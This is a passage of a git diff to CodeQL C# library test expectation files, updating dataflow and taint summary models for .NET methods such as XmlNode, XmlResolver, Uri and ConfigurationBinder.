System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;RemoveChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1];ReturnValue;value;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;SelectNodes;(System.String);Argument[this];ReturnValue;taint;manual | | System.Xml;XmlNode;SelectNodes;(System.String,System.Xml.XmlNamespaceManager);Argument[this];ReturnValue;taint;manual | @@ -21155,17 +21399,17 @@ summary | System.Xml;XmlReaderSettings;add_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;remove_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;set_XmlResolver;(System.Xml.XmlResolver);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[1];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;set_Credentials;(System.Net.ICredentials);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | -| System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlSecureResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | @@ -21294,9 +21538,7 @@ summary | System.Xml;XmlTextWriter;XmlTextWriter;(System.IO.TextWriter);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlTextWriter;get_BaseStream;();Argument[this].SyntheticField[System.Xml.XmlTextWriter._textWriter].Property[System.IO.StreamWriter.BaseStream];ReturnValue;value;dfc-generated | | System.Xml;XmlTextWriter;get_XmlLang;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | -| System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlUrlResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | @@ -21357,8 +21599,8 @@ summary | System.Xml;XmlWriter;Create;(System.Text.StringBuilder);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;value;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;DisposeAsync;();Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;LookupPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | @@ -21447,7 +21689,7 @@ summary | System;Action;BeginInvoke;(T,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;AggregateException;AggregateException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element;Argument[this].SyntheticField[System.AggregateException._innerExceptions];value;dfc-generated | | System;AggregateException;AggregateException;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.AggregateException._innerExceptions].Element;value;dfc-generated | -| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;AggregateException;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -21587,6 +21829,7 @@ summary | System;ArraySegment;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System;ArraySegment;get_Item;(System.Int32);Argument[this].SyntheticField[System.ArraySegment`1._array].Element;ReturnValue;value;dfc-generated | | System;ArraySegment;set_Item;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | +| System;ArraySegment;set_Item;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.ArraySegment`1._array].Element;value;dfc-generated | | System;AssemblyLoadEventHandler;BeginInvoke;(System.Object,System.AssemblyLoadEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System;AsyncCallback;BeginInvoke;(System.IAsyncResult,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;Attribute;get_TypeId;();Argument[this];ReturnValue;taint;df-generated | @@ -22067,7 +22310,7 @@ summary | System;Exception;Exception;(System.String);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.Exception._innerException];value;dfc-generated | -| System;Exception;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;Exception;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;Exception;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;Exception;ToString;();Argument[this];ReturnValue;taint;df-generated | | System;Exception;add_SerializeObjectState;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -23303,9 +23546,8 @@ summary | System;Uri;GetLeftPart;(System.UriPartial);Argument[this];ReturnValue;taint;df-generated | | System;Uri;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;Uri;MakeRelative;(System.Uri);Argument[0];ReturnValue;taint;df-generated | -| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;taint;df-generated | +| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;value;df-generated | | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual | -| System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | | System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this];ReturnValue;taint;dfc-generated | | System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual | | System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual | @@ -23392,9 +23634,14 @@ summary | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[0];ReturnValue.Field[System.ValueTuple`8.Item1];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[1];ReturnValue.Field[System.ValueTuple`8.Item2];value;manual | | System;ValueTuple;Create;(T1,T2,T3,T4,T5,T6,T7,T8);Argument[2];ReturnValue.Field[System.ValueTuple`8.Item3];value;manual | @@ -23678,7 +23925,6 @@ neutral | Microsoft.AspNetCore.Mvc.ViewFeatures;ViewDataDictionary;get_Count;();summary;df-generated | | Microsoft.AspNetCore.Mvc.ViewFeatures;ViewDataDictionary;get_IsReadOnly;();summary;df-generated | | Microsoft.AspNetCore.Mvc;Controller;Dispose;();summary;df-generated | -| Microsoft.AspNetCore.Mvc;RemoteAttributeBase;IsValid;(System.Object);summary;df-generated | | Microsoft.AspNetCore.Razor.TagHelpers;NullHtmlEncoder;FindFirstCharacterToEncode;(System.Char*,System.Int32);summary;df-generated | | Microsoft.AspNetCore.Razor.TagHelpers;NullHtmlEncoder;TryEncodeUnicodeScalar;(System.Int32,System.Char*,System.Int32,System.Int32);summary;df-generated | | Microsoft.AspNetCore.Razor.TagHelpers;NullHtmlEncoder;WillEncode;(System.Int32);summary;df-generated | @@ -27596,26 +27842,19 @@ neutral | System.ComponentModel.DataAnnotations.Schema;IndexAttribute;GetHashCode;();summary;df-generated | | System.ComponentModel.DataAnnotations.Schema;InversePropertyAttribute;get_Property;();summary;df-generated | | System.ComponentModel.DataAnnotations.Schema;TableAttribute;get_Name;();summary;df-generated | -| System.ComponentModel.DataAnnotations;AllowedValuesAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;AllowedValuesAttribute;get_Values;();summary;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;AssociatedMetadataTypeTypeDescriptionProvider;(System.Type);summary;df-generated | | System.ComponentModel.DataAnnotations;AssociatedMetadataTypeTypeDescriptionProvider;AssociatedMetadataTypeTypeDescriptionProvider;(System.Type,System.Type);summary;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_Name;();summary;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_OtherKey;();summary;df-generated | | System.ComponentModel.DataAnnotations;AssociationAttribute;get_ThisKey;();summary;df-generated | -| System.ComponentModel.DataAnnotations;Base64StringAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;CompareAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;get_OtherProperty;();summary;df-generated | | System.ComponentModel.DataAnnotations;CompareAttribute;get_RequiresValidationContext;();summary;df-generated | -| System.ComponentModel.DataAnnotations;CreditCardAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;CustomValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;get_Method;();summary;df-generated | | System.ComponentModel.DataAnnotations;CustomValidationAttribute;get_ValidatorType;();summary;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;DataTypeAttribute;(System.ComponentModel.DataAnnotations.DataType);summary;df-generated | -| System.ComponentModel.DataAnnotations;DataTypeAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;get_CustomDataType;();summary;df-generated | | System.ComponentModel.DataAnnotations;DataTypeAttribute;get_DataType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;DeniedValuesAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;DeniedValuesAttribute;get_Values;();summary;df-generated | | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;DisplayColumnAttribute;(System.String,System.String);summary;df-generated | @@ -27624,52 +27863,35 @@ neutral | System.ComponentModel.DataAnnotations;DisplayColumnAttribute;get_SortDescending;();summary;df-generated | | System.ComponentModel.DataAnnotations;EditableAttribute;EditableAttribute;(System.Boolean);summary;df-generated | | System.ComponentModel.DataAnnotations;EditableAttribute;get_AllowEdit;();summary;df-generated | -| System.ComponentModel.DataAnnotations;EmailAddressAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;EnumDataTypeAttribute;(System.Type);summary;df-generated | -| System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;EnumDataTypeAttribute;get_EnumType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;FileExtensionsAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;Equals;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;FilterUIHintAttribute;(System.String,System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;FilterUIHintAttribute;GetHashCode;();summary;df-generated | | System.ComponentModel.DataAnnotations;IValidatableObject;Validate;(System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;LengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;LengthAttribute;(System.Int32,System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;get_MaximumLength;();summary;df-generated | | System.ComponentModel.DataAnnotations;LengthAttribute;get_MinimumLength;();summary;df-generated | -| System.ComponentModel.DataAnnotations;MaxLengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;MaxLengthAttribute;(System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;MaxLengthAttribute;get_Length;();summary;df-generated | | System.ComponentModel.DataAnnotations;MetadataTypeAttribute;MetadataTypeAttribute;(System.Type);summary;df-generated | | System.ComponentModel.DataAnnotations;MetadataTypeAttribute;get_MetadataClassType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;MinLengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;MinLengthAttribute;(System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;MinLengthAttribute;get_Length;();summary;df-generated | -| System.ComponentModel.DataAnnotations;PhoneAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;RangeAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Double,System.Double);summary;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;RangeAttribute;(System.Int32,System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;RangeAttribute;get_OperandType;();summary;df-generated | -| System.ComponentModel.DataAnnotations;RegularExpressionAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;get_MatchTimeout;();summary;df-generated | | System.ComponentModel.DataAnnotations;RegularExpressionAttribute;get_Pattern;();summary;df-generated | -| System.ComponentModel.DataAnnotations;RequiredAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;ScaffoldColumnAttribute;ScaffoldColumnAttribute;(System.Boolean);summary;df-generated | | System.ComponentModel.DataAnnotations;ScaffoldColumnAttribute;get_Scaffold;();summary;df-generated | -| System.ComponentModel.DataAnnotations;StringLengthAttribute;IsValid;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;StringLengthAttribute;(System.Int32);summary;df-generated | | System.ComponentModel.DataAnnotations;StringLengthAttribute;get_MaximumLength;();summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;Equals;(System.Object);summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;GetHashCode;();summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;UIHintAttribute;UIHintAttribute;(System.String,System.String);summary;df-generated | -| System.ComponentModel.DataAnnotations;UrlAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;GetValidationResult;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;IsValid;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.ComponentModel.DataAnnotations.ValidationContext);summary;df-generated | -| System.ComponentModel.DataAnnotations;ValidationAttribute;Validate;(System.Object,System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;ValidationAttribute;(System.String);summary;df-generated | | System.ComponentModel.DataAnnotations;ValidationAttribute;get_RequiresValidationContext;();summary;df-generated | | System.ComponentModel.DataAnnotations;ValidationContext;ValidationContext;(System.Object);summary;df-generated | @@ -36096,7 +36318,6 @@ neutral | System.Net;HttpListenerRequest;get_RequestTraceIdentifier;();summary;df-generated | | System.Net;HttpListenerRequest;get_ServiceName;();summary;df-generated | | System.Net;HttpListenerRequest;get_TransportContext;();summary;df-generated | -| System.Net;HttpListenerRequest;get_UrlReferrer;();summary;df-generated | | System.Net;HttpListenerRequest;get_UserHostAddress;();summary;df-generated | | System.Net;HttpListenerRequest;get_UserLanguages;();summary;df-generated | | System.Net;HttpListenerResponse;Abort;();summary;df-generated | @@ -55640,7 +55861,6 @@ neutral | System.Xml.Linq;XCData;XCData;(System.Xml.Linq.XCData);summary;df-generated | | System.Xml.Linq;XCData;get_NodeType;();summary;df-generated | | System.Xml.Linq;XComment;get_NodeType;();summary;df-generated | -| System.Xml.Linq;XContainer;AddFirst;(System.Object[]);summary;df-generated | | System.Xml.Linq;XContainer;CreateWriter;();summary;df-generated | | System.Xml.Linq;XContainer;RemoveNodes;();summary;df-generated | | System.Xml.Linq;XDocument;LoadAsync;(System.IO.Stream,System.Xml.Linq.LoadOptions,System.Threading.CancellationToken);summary;df-generated | @@ -55696,8 +55916,6 @@ neutral | System.Xml.Linq;XNamespace;get_Xmlns;();summary;df-generated | | System.Xml.Linq;XNamespace;op_Equality;(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace);summary;df-generated | | System.Xml.Linq;XNamespace;op_Inequality;(System.Xml.Linq.XNamespace,System.Xml.Linq.XNamespace);summary;df-generated | -| System.Xml.Linq;XNode;AddAfterSelf;(System.Object[]);summary;df-generated | -| System.Xml.Linq;XNode;AddBeforeSelf;(System.Object[]);summary;df-generated | | System.Xml.Linq;XNode;CompareDocumentOrder;(System.Xml.Linq.XNode,System.Xml.Linq.XNode);summary;df-generated | | System.Xml.Linq;XNode;CreateReader;();summary;df-generated | | System.Xml.Linq;XNode;DeepEquals;(System.Xml.Linq.XNode,System.Xml.Linq.XNode);summary;df-generated | @@ -55707,7 +55925,6 @@ neutral | System.Xml.Linq;XNode;IsBefore;(System.Xml.Linq.XNode);summary;df-generated | | System.Xml.Linq;XNode;NodesBeforeSelf;();summary;df-generated | | System.Xml.Linq;XNode;Remove;();summary;df-generated | -| System.Xml.Linq;XNode;ReplaceWith;(System.Object[]);summary;df-generated | | System.Xml.Linq;XNode;ToString;();summary;df-generated | | System.Xml.Linq;XNode;ToString;(System.Xml.Linq.SaveOptions);summary;df-generated | | System.Xml.Linq;XNode;get_DocumentOrderComparer;();summary;df-generated | @@ -57014,7 +57231,6 @@ neutral | System;ArraySegment;get_Offset;();summary;df-generated | | System;ArraySegment;op_Equality;(System.ArraySegment,System.ArraySegment);summary;df-generated | | System;ArraySegment;op_Inequality;(System.ArraySegment,System.ArraySegment);summary;df-generated | -| System;ArraySegment;set_Item;(System.Int32,T);summary;df-generated | | System;ArrayTypeMismatchException;ArrayTypeMismatchException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);summary;df-generated | | System;ArrayTypeMismatchException;ArrayTypeMismatchException;(System.String);summary;df-generated | | System;ArrayTypeMismatchException;ArrayTypeMismatchException;(System.String,System.Exception);summary;df-generated | @@ -61345,7 +61561,6 @@ neutral | System;Uri;TryFormat;(System.Span,System.Int32,System.ReadOnlySpan,System.IFormatProvider);summary;df-generated | | System;Uri;Unescape;(System.String);summary;df-generated | | System;Uri;Uri;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);summary;df-generated | -| System;Uri;get_AbsoluteUri;();summary;df-generated | | System;Uri;get_Fragment;();summary;df-generated | | System;Uri;get_HostNameType;();summary;df-generated | | System;Uri;get_IsAbsoluteUri;();summary;df-generated | diff --git a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected index 08b3588b4949..8c0a26ee4039 100644 --- a/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected +++ b/csharp/ql/test/library-tests/dataflow/library/FlowSummariesFiltered.expected @@ -789,9 +789,9 @@ | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];Argument[0];taint;manual | | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.String[],System.Collections.Generic.IDictionary);Argument[2];ReturnValue;taint;manual | | Microsoft.Extensions.Configuration;ConfigurationBinder;Bind;(Microsoft.Extensions.Configuration.IConfiguration,System.Object,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;taint;df-generated | +| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.Action);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;taint;df-generated | +| Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration);Argument[0];ReturnValue;value;df-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;Get;(Microsoft.Extensions.Configuration.IConfiguration,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.String,System.Object);Argument[3];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;ConfigurationBinder;GetValue;(Microsoft.Extensions.Configuration.IConfiguration,System.String,T);Argument[2];ReturnValue;value;dfc-generated | @@ -5058,7 +5058,7 @@ | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IEnumerable,System.Collections.Concurrent.EnumerablePartitionerOptions);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(System.Collections.Generic.IList,System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Concurrent;Partitioner;Create;(TSource[],System.Boolean);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func,System.Collections.Generic.IEqualityComparer);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Collections.Frozen;FrozenDictionary;ToFrozenDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -5075,7 +5075,7 @@ | System.Collections.Frozen;FrozenDictionary;get_Values;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;Create;(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | -| 